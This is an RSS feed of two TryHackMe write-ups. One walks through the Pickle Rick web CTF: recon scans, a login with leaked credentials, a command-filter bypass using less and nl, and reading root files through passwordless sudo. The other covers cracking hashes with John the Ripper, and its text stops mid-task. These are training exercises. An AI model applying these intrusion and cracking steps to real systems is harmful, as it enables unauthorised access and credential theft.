<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Christopher Fouad Jabbour on Medium]]></title>
        <description><![CDATA[Stories by Christopher Fouad Jabbour on Medium]]></description>
        <link>https://medium.com/@cyberjab?source=rss-c19a6e69c664------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*6WVe9s8Egj6hPi1c</url>
            <title>Stories by Christopher Fouad Jabbour on Medium</title>
            <link>https://medium.com/@cyberjab?source=rss-c19a6e69c664------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 02 Dec 2026 13:38:36 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@cyberjab/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Pickle Rick CTF TryHackMe Write-up]]></title>
            <link>https://medium.com/@cyberjab/pickle-rick-ctf-tryhackme-write-up-dc6e7cec43fe?source=rss-c19a6e69c664------2</link>
            <guid isPermaLink="false">https://medium.com/p/dc6e7cec43fe</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[pickle-rick]]></category>
            <category><![CDATA[pickle-rick-walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Christopher Fouad Jabbour]]></dc:creator>
            <pubDate>Wed, 31 May 2023 14:35:15 GMT</pubDate>
            <atom:updated>2023-05-31T20:44:28.325Z</atom:updated>
            <content:encoded><![CDATA[<p>My write-up report and notes on the <a href="https://tryhackme.com/room/picklerick">Pickle Rick</a> CTF challenge</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oI-mrJuUN00omQnhK7eWNw.png" /></figure><h3>Executive Summary</h3><p>The purpose of this report is to document my security assessment findings conducted on the TryHackMe challenge machine “Pickle Rick”. The assessment was carried out using a combination of manual and automated techniques to identify vulnerabilities that could be exploited by an attacker.</p><h3>Introduction</h3><p>This report provides an overview of my security assessment done on the Pickle Rick CTF with the methodology used, vulnerabilities found, and what can be done to remediate the findings.</p><h3>Background</h3><p>Pickle Rick is a Cybersecurity CTF challenge that requires attempting to exploit a web server to find three ingredients acting as text flags to answer the questions to complete the CTF. Pickle Rick is one of the entry-level CTFs available on TryHackMe.</p><p>The backstory for this challenge is that Morty (the participant in this CTF or myself) needs to find three ingredients (acting as flags to capture) that Rick needs to make a potion to turn himself back into a human from his pickle form.</p><h3>Methodology</h3><p>The assessment of the Pickle Rick web server was conducted using a combination of manual and automated techniques.</p><ul><li>Conducting manual testing of web application</li><li>Walking the application using my web browser tools to look for risks and vulnerabilities</li><li>Scanning the target machine using Nmap to find open ports</li><li>Scanning the target machine using Nikto to automatically enumerate vulnerable URL paths</li><li>Directory/File Enumeration of web server with GoBuster</li></ul><h3>Findings</h3><p>During my assessment, I found several vulnerabilities and risks that could be exploited by an attacker.</p><p><strong><em>Secure coding bad practices</em></strong></p><ul><li>Username in the source code of the index.html page of web server.</li><li>Information found within the Robot.txt file that can be used to gain access and login onto the web server.</li></ul><p><strong><em>Broken Access Control</em></strong></p><ul><li>The Control Panel web form allows for Directory Traversal, a web security vulnerability where directories and files can be accessed and run on the server running the application.</li><li>The current user in the Command Panel, www-data, has too much privilege granted and the ability to run sudo or superuser commands without a password needed. This can be exploited to see or read content within the admin user or /root directory of the web server’s file system.</li></ul><p><strong><em>Input Validation</em></strong></p><ul><li>Some Linux commands can output a file’s content and do not have any functionality to prevent this on the Command Panel form while other commands are prevented.</li></ul><p><strong><em>Insecure Direct Object Reference or IDOR</em></strong></p><ul><li>Certain sensitive files can be viewed and accessed when appending the file name in the URL and navigating to it with your browser.</li></ul><h3>Recommendations</h3><p>To address and remediate these vulnerabilities, I listed recommendations in order of severity,</p><p>Making changes to the existing software and files found on server:</p><ul><li>Removing the username from the HTML source code of the web server’s main page and ensuring credentials for the server or software being served on the server are not stored and to store them somewhere more secure and not as part of the code markup.</li><li>Removing the password from the robots.txt file completely as it gives attackers a way to login into the server when they are enumerating files and pages to navigate and find this file.</li></ul><p>Fix input validation flaws on the Control Panel Form:</p><ul><li>Adding functionality to not allow the Linux commands nl , less, and more to show or display file content as part of the Command Panel form’s existing input validation.</li></ul><p>Implement proper access control:</p><ul><li>Remove www-data sudo privileges that allows it to run sudo commands and view the /root directory to remediate this risk and improve security.</li></ul><h3>Conclusion</h3><p>This report has documented several vulnerabilities along with the screenshots and steps taken to recreate and demonstrate the vulnerabilities as well as recommendations to improve the security posture of the application and web server. This was challenging but good CTF that tested my knowledge of intermediate and advanced Linux commands used related to user privileges and ways of outputting file content that I did not know about and took me some time to figure out on my own. If there is any constructive feedback, comments, or thoughts on my write-up to help me improve upon my method, do not hesitate to reach out to me on LinkedIn or leave me a comment. For the steps on how I went about completing this challenge, refer to my notes in the next section.</p><h3>Notes</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6VbH7ilpaM2LPKIZyMaUgg.png" /><figcaption>Screenshot of Task 1 with the deployable Pickle Rick Virtual Machine</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dQTg-UXPRfHSCJr9pVQ18Q.png" /><figcaption>Screenshot of Pickle Rick Virtual Machine Instance started for CTF challenge</figcaption></figure><p>The first thing I did right after I started and got access to the virtual machine. I proceeded to click the <strong>Start Machine</strong> button to begin exploring and exploiting the web server.</p><h3><strong>Reconnaissance</strong></h3><p>I utilized several tools to get as much information on the webserver as well as URL paths to try to access during my walkthrough of the application.</p><p><strong>Nmap Scanning</strong></p><blockquote>nmap -sS -sV -F &lt;target-ip&gt;</blockquote><p>I used nmap -sS -sV -F to perform a fast scan of the most common ports on a target system.</p><p>-sS — option that specifies that a TCP SYN scan should be performed</p><p>-sV — option that enables version detection</p><p>-F — option that specifies only the most common ports should be scanned</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*owbrKwjM4dGAg3mfdTJV_g.png" /></figure><p>I did a quick scan of the IP address of the Pickle Rick web server and found that there are two ports open. The version info and fingerprinting information I got from my Nmap scan let me know that the target server is running on Apache 2.4.18 using Ubuntu Linux OS and that the common port for SSH, port 22 is also opened.</p><p><strong>Nikto Scanning the target machine’s IP address</strong></p><blockquote>nikto -h &lt;target-ip&gt;</blockquote><ul><li>-h is the host flag used to tell Nikto to do a simple domain scan.</li></ul><p>I was able to find a PHP login page titled as /login.php</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9OhK40bh4GfqMBlNBhFD3Q.png" /></figure><p><strong>Web Server File/Directory Enumeration</strong></p><p>I used the following gobuster command to brute force directories/files on the target machine using the common wordlist and URL encoding on input strings.</p><p>gobuster -e -u dir &lt;target-ip&gt; -w /usr/share/wordlists/dirb/common.txt</p><ul><li>-e — specifies that the tool should use URL encoding on the input strings.</li><li>-u — option specifies the target URL or domain in string format.</li><li>dir — option that tells the tool to brute-force directories on the target machine or &lt;target-ip&gt;</li><li>&lt;target-ip&gt; — the IP address of the target machine.</li><li>-w option specifies the path to the wordlist used for brute-forcing. /usr/share/wordlists/dirb/common.txt is a common wordlist used for directory/file brute-forcing.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*270IDyhsqhZUv-mDoWR4Yw.png" /></figure><h3>Walking the application</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4Xc_F0qAnaj64GPsBWmRfg.png" /><figcaption>Home page of the Pickle Rick web server</figcaption></figure><p><strong>Finding: secure coding bad practice with source code comment</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PcQwDLkhvE50yWLeNJc5JA.png" /><figcaption>HTML source of the index.html</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/667/1*9Hw726gWuOOwww6CngXgiQ.png" /></figure><p>I found a comment on a username in the HTML source code of the home page that can be subject to password-based attacks either by guessing the password or a brute-force login attack (if the password is really weak and common enough to be in a wordlist) so an attacker can gain access to the web server.</p><p>With the discovery of a username in the source code comment during my manual review of the public facing website, I proceeded to attempt to try to uncover the password of that username.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UWR2gXdfpHIOWJzJRQZoUg.png" /></figure><p>Within robots.txt, I found a text string that was one of Rick’s favorite catchphrases and made note of it as it is a weird value to place in the robots.txt file. It would be an option to try to guess for a username password.</p><p>The robots.txt file is usually used to tell search engine crawlers which pages or files the crawler can or cannot request from your website. It is mainly used to avoid overloading a site with requests (save bandwidth and resources) and to keep certain files off a search engine based on the file type.</p><p>Initially, I attempted to brute force the password login with Hydra but didn’t have any luck. I proceeded to use the username and the word found robots.txt file as the password that I found during the enumeration phase in the login.php and was able to log in successfully.</p><p>I was able to get into the portal.php, within the portal page was a command panel text box that looked like it took input. The Command Panel works similar to a Linux command line I proceeded to enter ls -a to see what files and directories were available and present on the server.</p><p>I ran the pwd command to see what directory I was currently in, which was the /var/www/html this is a directory path that is used to store files and directories used for web application hosting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/541/1*VMDZII1w9_4m-x5Fv-XY2g.png" /></figure><p>I ran the ls -a command on the command panel to see what directories and file were within the current directory. I found an assets folder, the robots.txt file, .php files, the index.html page. The files of interest were and clue.txt and Sup3rS3cretPickl3Ingred.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BWgk9BAb0yfNroUwMmbAQw.png" /></figure><p><strong>Finding: lack of file or resource access control or IDOR</strong></p><p>When I try to access the Sup3rS3cretPickl3Ingred.txt files or any of the other files listed from using the Linux command ls -a on my Kali Linux VM instance’s web browser by appending the file to the target machine’s IP address like below and navigating to it from my browser.</p><blockquote>http://&lt;target server&gt;<strong>/Sup3rS3cretPickl3Ingred.txt</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*mFK90mQgR0xXtHl8IlWZaw.png" /></figure><p>I was able to access and view the content of this file and get the first ingredient.</p><p>Through further research on ways to show the output of file’s content. I found that the Linux command less can be used to output the contents of the first ingredient.</p><p>I proceeded to look at the clue.txt file and found a hint that told me to look around the server’s file system to look for the ingredients.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/1*EpHXr2zmcZ4IFJyAeDhfZw.png" /></figure><p><strong>Finding: Sudo command permissions risk</strong></p><p>I ran the following command whoami in the Command Panel to see who the current user on the Linux system is. The current Linux user of target system is www-data, a services account responsible for running the web server.</p><p>I began to look to see if there are any commands that can be used to look for other files to find other ingredients.</p><p>To see what privileges are granted to this user, I entered the command sudo -l into the Command Panel to list the privileges available to the www-data user to see privileges are granted to this user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NtX5VQnCMKBl_1-D_8WBPg.png" /></figure><p>The following output:</p><pre>User www-data may run the following commands on ip-10-10-160-173.eu-west-1.compute.internal:<br>    (ALL) NOPASSWD: ALL</pre><p>means that the user www-data is allowed to run and use sudo commands without requiring a password for verification. This adds a security risk as an attacker can exploit this if they are able to login as easily as I was into Rick’s account.</p><p>I began to use this knowledge to list parts of the target’s system’s Linux File Systems to see what I can and can’t access to get the last two ingredient files.</p><p>I proceeded to enter and execute the following command in the Command Panel to list all files and directories in the main tree (/)or root directory to begin traversing the file system of the Pickle Rick server.</p><blockquote><em>ls -a /</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/758/1*0e9P2qbp7f6kuOdnSQaiWA.png" /></figure><p>This showed the entire Linux file system directory of the Pickle Rick web server. The first place I decided to look would be the home directory to see all the available users and any of the user accounts directories have the secret ingredients.</p><blockquote><em>ls -a /home</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/756/1*e3aSMBasw_J6yiVoXE9OLA.png" /></figure><p>I proceeded to use the command to check the ubuntu account for any files or flags, no luck.</p><p>ls -a /home/ubuntu</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/757/1*9PCMJxtqBu79QXoieQun_g.png" /></figure><p>Moving on to the next user rickin the /home directory path, I executed the ls command to see files or directories are in the rick user directory:</p><p>ls -a /home/rick</p><p>I found a text file titled second ingredients that looks promising. I proceeded to investigate ways to view the file’s content using Linux commands if possible</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/765/1*Ckr9FAlsPY4FMokt69vqmg.png" /></figure><p><strong>Finding: Incomplete Input Validation</strong></p><p>The cat, tail, and head commands didn&#39;t work on the Command Panel for showing file content on this server due to the Control Panel’s functionality preventing as a sort of input validation. I did some research into other Linux commands that allow file content to be read.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/762/1*03Ygf6cP0W6I8gOsZHg3Jg.png" /></figure><p>There were three other command options to try from: nl, more, and less. Each of these three commands were able to bypass the command disabled validation prompt to allow me to see the content of file content of any text file that can be referenced in the web server’s operating system.</p><p>I proceeded with using the less command to demonstrate the ingredient text file content being shown and get the second ingredient.</p><blockquote><em>less ‘/home/rick/second ingredients’</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-o5e6m8fun1PFBWKvkQLrQ.png" /></figure><p>After going through all the user directories in the home directory, I decided to look in the /root directory, the admin’s user directory to see if anything shows as the next good place to look for the last ingredient, using the command.</p><blockquote><em>sudo ls -a /root</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/782/1*9g2NDxRmSufB0FHdtczH9A.png" /></figure><blockquote><em>sudo less /root/3rd.txt</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/505/1*9Dn9dqKsNQCMTURukL9Mag.png" /></figure><p>I was able to find the last ingredient needed.</p><h3>Pickle Rick CTF Questions and Ingredient locations</h3><p><strong>What is the first ingredient that Rick needs?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DVBeR783ZQpZRO2ZarvHhA.png" /></figure><p><strong>What is the second ingredient in Rick’s potion?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-o5e6m8fun1PFBWKvkQLrQ.png" /></figure><p><strong>What is the last and final ingredient?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/505/1*9Dn9dqKsNQCMTURukL9Mag.png" /></figure><h3><strong>References</strong></h3><p><a href="https://phoenixnap.com/kb/linux-sudo-command">Linux Sudo Command, How to Use With Examples (phoenixnap.com)</a></p><p><a href="https://superuser.com/questions/1495807/can-someone-explain-what-is-user-all-all-nopasswdall-does-in-sudoers-file">linux — Can someone explain what is `&lt;user&gt; ALL=(ALL) NOPASSWD:ALL` does in sudoers file? — Super User</a></p><p><a href="https://www.makeuseof.com/view-file-content-linux-commands/#:~:text=The%20cat%20utility%20is%20one%20of%20the%20most,followed%20by%20the%20file%20you%20want%20to%20view.">6 Command Line Utilities for Viewing File Content in Linux (makeuseof.com)</a></p><p><a href="https://developers.google.com/search/docs/crawling-indexing/robots/intro">Robots.txt Introduction and Guide | Google Search Central | Documentation | Google for Developers</a></p><p><a href="https://www.synopsys.com/blogs/software-security/robots-txt/">Robots.txt security risk review and mitigation | Synopsys</a></p><p><a href="https://www.freecodecamp.org/news/an-introduction-to-web-server-scanning-with-nikto/amp/">Web Server Scanning With Nikto - A Beginner&#39;s Guide</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dc6e7cec43fe" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[John The Ripper TryHackMe Writeup]]></title>
            <link>https://medium.com/@cyberjab/john-the-ripper-tryhackme-writeup-7fbdb78c60f8?source=rss-c19a6e69c664------2</link>
            <guid isPermaLink="false">https://medium.com/p/7fbdb78c60f8</guid>
            <category><![CDATA[cryptography]]></category>
            <category><![CDATA[john-the-ripper]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <dc:creator><![CDATA[Christopher Fouad Jabbour]]></dc:creator>
            <pubDate>Wed, 17 May 2023 17:13:55 GMT</pubDate>
            <atom:updated>2023-05-18T15:41:56.397Z</atom:updated>
            <content:encoded><![CDATA[<p>My writeup on the John The Ripper TryHackMe <a href="https://tryhackme.com/room/johntheripper0">room</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*_F4EDO8mneClESZN.png" /></figure><p>John The Ripper (aka JtR or John) is a popular password hash cracking tool known for its hash cracking speed and range of compatible hash types that it can reverse to their original values. It is also commonly referred to as John.</p><p><strong>Key Takeaways</strong></p><ul><li>John the Ripper is supported on many Operating Systems (Including Windows and Linux Distributions like Parrot OS or Kali Linux)</li><li>Password protected Zip and RAR files, along with SSH RSA private keys files have the chance of having their passwords cracked</li><li>There are tools within JtR that allows a file format to be converted into a hash format so it can be passed into John for password cracking attempts.</li><li>Password complexity requirements are the rules on what a password needs to contain (e.g. uppercase letters, numbers, special characters) whenever a password is reset or a new account is created for an organization or website.</li><li>Password complexity is a form of defense used to try to hinder dictionary password attacks.</li><li>Custom rules in the John The Ripper tool try to exploit the assumption that most users will be predictable in where put the uppercase letters or symbols in their passwords.</li><li>NThash is the hash format used by modern Windows Operating Systems to store user and service passwords.</li><li>NThash is also commonly referred to as NTLM (New Technology LAN Manager).</li><li>The way passwords were previously hashed before NTLM was with the LM hashing algorithm.</li><li>The NT or New Technology designation for Windows products was used to distinguish products that were not built from the MS-DOS operating system.</li><li>The /etc/shadow file are where password hashes are stored and is usually only accessible by the root user. If someone is able to get access to this, they have a chance to exfil and attempt to crack some of the password hashes.</li><li>The Unshadow command is used to combine the Linux system passwd and shadow files or specific line files into one output so it can be used by the John The Ripper password cracking tool.</li><li>The : colon symbol used in the user entries of the shadow and passwd file in Linux is known as a GECOS field.</li></ul><p><strong>Methods of tool usage for writeup</strong></p><p>I have used WSL and Windows Terminal with Kali Linux installed on my Windows 10/11 machine to access and use John The Ripper tool.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5NTusm0HdfZMcxQiVR_W9w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CxArm7R-tn5arpxv_rEL-w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-CYq5GpVFKBgZUeO5ONMUQ.png" /></figure><p>I referred to the following link to help with my setup on windows in the following link: <a href="https://www.thecybersecurityforum.com/index.php/2021/04/03/install-and-use-kali-linux-on-windows-10-using-wsl/">Install and use Kali Linux on Windows 10 using WSL — The Cybersecurity Forum</a>.</p><p>This <a href="http://Minimum Install Setup Information | Kali Linux Documentation">link</a> is what we need to refer to download meta packages that contain the tools needed including the JtR tool once you download and open Kali Linux on your PC for the first time if we get a message that we have only a minimal installation of Kali Linux.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/980/1*S70DxHQBD8RegEgaKnHmuA.png" /></figure><h3>Task 1: John who?</h3><p>This task gives an overview of the interworking of what makes hashes secure and how hash cracking tools attempt to bypass this. It talks about how John The Ripper comes into play in how it cracks hashed passwords.</p><p>I think of the phrase of cracking or to crack a hash as an analogy for uncovering a code or the hash value to get to the original message, which in our case is the password.</p><p>If we or an attacker are provided or able to get the following:</p><ul><li>A hashed value or hash of a password.</li><li>Knowledge of what hashing algorithm is used to create the hash that is obtained.</li></ul><p>This can lead to what is known as a <strong>dictionary attack</strong></p><p>The hashing algorithm can be used to hash many words called a dictionary. The hashes created from the words in this dictionary list would then be cross-checked with the hash or hashes that we are attempting to crack in a brute force style of checking until a match is found. If a match is found, a hash and password pair is returned.</p><h3><strong>Task 2: Setting up John The Ripper</strong></h3><p>This task provides information on how to set up and use the John The Ripper tool on your Operating System of choice as well as examples of the different versions of the tool.</p><p><strong>Examples of different versions of John The Ripper</strong></p><ul><li>Standard “core” distribution</li><li>Popular community edition known as “<strong>Jumbo John”</strong></li></ul><p>I read the content for details on installation and downloaded the Windows Binary for Jumbo John for later review and to be able to do the exercises.</p><h3>Task 2 Question and Answer</h3><p><strong>What is the most popular extended version of John the Ripper?</strong></p><blockquote>Jumbo John</blockquote><h3>Task 3: Wordlists</h3><p>This task talks about wordlists, a key component used in dictionary attacks (or dictionary attacking password hashes). A wordlist is a list of words that can be hashed and compared.</p><p>In some of the Linux operating systems (Parrot, Kali) the TryHackMe’s AttackBox VM have a collection of popular wordlists located in the /usr/share/wordlists directory. There is a GitHub repository by Daniel Miessler that has wordlists found in the SecLists section of this <a href="https://github.com/danielmiessler/SecLists">link</a>.</p><p>One popular wordlist is the <em>rockyou.txt </em>wordlist. It is a large list of common passwords that were obtained from a data breach on a website called rockyou.com in 2009 which was a company that made widgets and applications for social media networks Myspace and Facebook. It has been available in Kali Linux since the Linux distribution debuted in 2013.</p><h3>Task 4: Cracking Basic Hashes</h3><p>Task 4 discusses that John The Ripper won’t be able to automatically identify the hash accurately by its format. This will require the use of other hash identifier tools to be able to find the hash type of a hash value and be able to set John to specify the format to be able to crack the hash.</p><p><strong>Perquisite steps</strong></p><p>I used the following command on my Kali Linux terminal to get a Python script from the Kali Linux GitLab Repository to download a tool to use to recognize the hash algorithm or function used on a hash value within a text file.</p><blockquote>wget <a href="https://gitlab.com/kalilinux/packages/hash-identifier/-/raw/kali/master/hash-id.py">https://gitlab.com/kalilinux/packages/hash-identifier/-/raw/kali/master/hash-id.py</a></blockquote><p>Whenever the hash format identified, I would use the following skeleton command to do format-specific password cracking.</p><p>john --format=[format] --wordlist=[directory path to wordlist] [path to file]</p><p>— — wordlist lets john know the mode of password cracking is wordlist mode.</p><p>--format=[format] lets john know what hash format or algorithm to try to crack in the [path to file]</p><p>For this task, I downloaded and unzipped the task files on my windows laptop configured with Kali Linux using WSL.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KyI2cnmOQPq2saJIcRjxsA.png" /></figure><p>I followed the instructions and steps below to create symbolic link or shortcut to be able to access to download.</p><p><a href="https://superuser.com/questions/1534330/access-downloaded-files-from-wsl#:~:text=IMHO%2C%20the%20easiest%20way%20to%20do%20this%20is,directly%20accessible%20in%20your%20~%2Fdownloads%20folder%20in%20WSL.">bash — Access downloaded files from WSL — Super User</a></p><p>First I created a symbolic link to be able to get to my Windows Downloads folder to access to interact with the task files and answer the task questions. The symbolic link appears in a cyan blue color when I use a ls command to check to confirm its successfully got created.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g-pq6Tj2AzPnJ9C4P4p7Qg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MqQ546PiNV5-fAm8LAttrg.png" /></figure><p>A symbolic link can be thought of as a shortcut similar to the ones you see on your desktop on a Windows computer.</p><h3>Task 4 Questions and Answers</h3><p><strong>What type of hash is hash1.txt?</strong></p><blockquote>MD5</blockquote><p>I figured this out by taking the hash value provided in the hash1.txt file and passing it into the hash-id script to see what type of hash the script can recongize it as, which in this case, is MD5.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/995/1*PMMlG7E9NUCGhoO5N39wpw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hQqOj6Gxvfw2pRNSeripIQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gwsQO3xZGOigcfOPAUpNKA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TYYJfpI31l_ACGHOeb-LvA.png" /></figure><p><strong>What is the cracked value of hash1.txt?</strong></p><p>If you are using the AttackBox, you don’t have to do this step.</p><p>I had to do this with my fresh install of Kali Linux using WSL on Windows to have access to the rockyou.txt to be able to run the command if you find that the file is initially compressed in a GZ file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ysu8dz1xVRz_YoheJzw24w.png" /></figure><p>I followed the steps located under the <strong>How to Unzip a GZ File on Linux </strong>section of the walkthrough</p><p><a href="https://www.makeuseof.com/what-is-gz-file/#:~:text=Gzip%20is%20the%20command%20that%20lets%20you%20decompress,GZ%20file%2C%20and%20hit%20Enter.%20gzip%20-dk%20SOURCE.GZ">What Is a GZ File and How Do You Unzip It? (makeuseof.com)</a></p><p>Following this guide, I entered the following command with the <em>sudo </em>command to be able to do the gzip decompression with admin permission on my Linux terminal.</p><blockquote>sudo gzip -dk rockyou.txt.gz</blockquote><p>-d is the switch for the decompress or unzip the compressed gzip (or .gz) archive file</p><p>-k tells the command to keep input files during a compression or decompression process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jPg7QFh2dZ_HqfXMcV9Crg.png" /></figure><p>I was able to successfully extract the rockyou.txt file to be ready to do format-specific password hash cracking.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NFTZ_9ZHtQ4clO4oHmYF2Q.png" /></figure><p>With the hash format identified from the last question as MD5, I would use the following skeleton command to attempt to crack the password while in the directory of the password hashes, which in my case is the ~/downloads/firsttaskhashes/first_task_hashesdirectory path on my Kali Linux distro:</p><p>First, I run the following command to manually browse what options are available to MD5 to be used with the format modifier to be more familiar with the syntax.</p><p>john --list=formats</p><p>I learned that standard hash types are prefixed with raw- especially with MD5 hashes.</p><p>I also learned about the pipe command with the grep command</p><p>john --list=formats | grep -iF &quot;md5&quot;</p><p>that can be used list all formats that contain a string pattern to look for.</p><p>-F interprets the md5 pattern as a fixed string and not a regular</p><p>-i means to ignore case distinctions and look for formats that use both uppercase or lowercase letters</p><p>john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt hash1.txt</p><p>After running the command, I was able to get the exact password associated (censored in red ink to not give the answer freely, it was a basic lowercase word) with the MD5 type hash and hash1.txt file to be able to answer the question</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T_BVQsbmgdRff30Qgx9RQA.png" /></figure><p><strong>What type of hash is hash2.txt?</strong></p><blockquote>SHA1</blockquote><p><em>Note: I had to enter my answer without the </em><em>— symbol between the A and 1.</em></p><p>I got the hash located in the hash2.txt file using the cat command below</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8oh1AfygxT02iKV1ksTCvA.png" /></figure><p>I proceeded to run the Python3 script using the python in the location of the task hash text files.</p><p><em>python3 ~/hash-id.py</em></p><p>The ~ tilde symbol is my user directory where I have my python script located.</p><p>I proceeded to enter the hash into the hash identification tool and hit enter to see what results I got</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NTY_OcOW_ktpRarNzJRPJA.png" /></figure><p>I got a list of possible hashes being SHA-1 and MySQL5 — SHA-1(SHA-1($pass)). I went with my gut instinct and assumed/chose SHA-1 as the possible hash type used in the hash2.txt file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1014/1*5iZP1P7yLm4DPzW4HWPVfg.png" /></figure><p><strong>What is the cracked value of hash2.txt?</strong></p><p>I ran the following command below to get list of all the possible SHA-1 formats available to use</p><p>john --list=formats | grep -iF &quot;SHA1&quot;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AtG9i_n0mLZ758v_IEhKEg.png" /></figure><p>I found the Raw-SHA1 within the listed output and attempted to use it in the following command below with hash2.txt as the file to crack the hash.</p><p>john --format=Raw-SHA1 --wordlist=/usr/share/wordlists/rockyou.txt hash2.txt</p><p>I was able to get the password paired to the hash after running the John the Ripper command to complete this challenge.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zTlks144k2GWB1X_aak6gQ.png" /></figure><p><strong>What type of hash is hash3.txt?</strong></p><blockquote>SHA256</blockquote><p>following the previous steps of the previous questions and with the hash identifier Python script on my machine in my home directory (directory path ~/), I did the following steps to get the hash</p><ul><li>Navigated to the directory containing hash3.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QkQrL5_3HtrMc8iVj2YjFQ.png" /></figure><ul><li>Retrieve the hash value contained in the hash3.txt file using the command cat hash3.txt to copy and paste the hash as input for the hash-id Python script</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fSXnClKPAtDUIuQV-gxXZA.png" /></figure><ul><li>run the python script python3 ~/hash-id.py and entered the hash value retrieved from the hash3.txt</li></ul><p>looking at the possible hashes, SHA-256 had the highest likelihood of what hashing algorithm created the hash value.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e7J2Px3NUB-4Nb7ehSaGPg.png" /></figure><p><strong>What is the cracked value of hash3.txt</strong></p><p>Steps take to get the cracked hash value</p><ul><li>Search for a format that matches the first listed possible hash to attempt to crack the hash value with the command john --list=formats | grep -iF “SHA256”</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w3hBTU6j1KWlTvb-kyILrA.png" /></figure><ul><li>Used the following to command to supply the format for SHA256 (which is <em>Raw-SHA256</em>), the hashed password file <em>hash3.txt, </em>and the directory path to the file rockyou.txt to act as a dictionary to check if the password hash matches another on the rockyou.txt list.</li></ul><p>john --format=Raw-SHA256 --wordlist=/usr/share/wordlists/rockyou.txt hash3.txt</p><p>I was able to get a match on a password to solve this question and crack the password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v9whbMuNRGDWuvzbBUdHgA.png" /></figure><p><strong>What type of hash is hash4.txt?</strong></p><figure><img alt="" 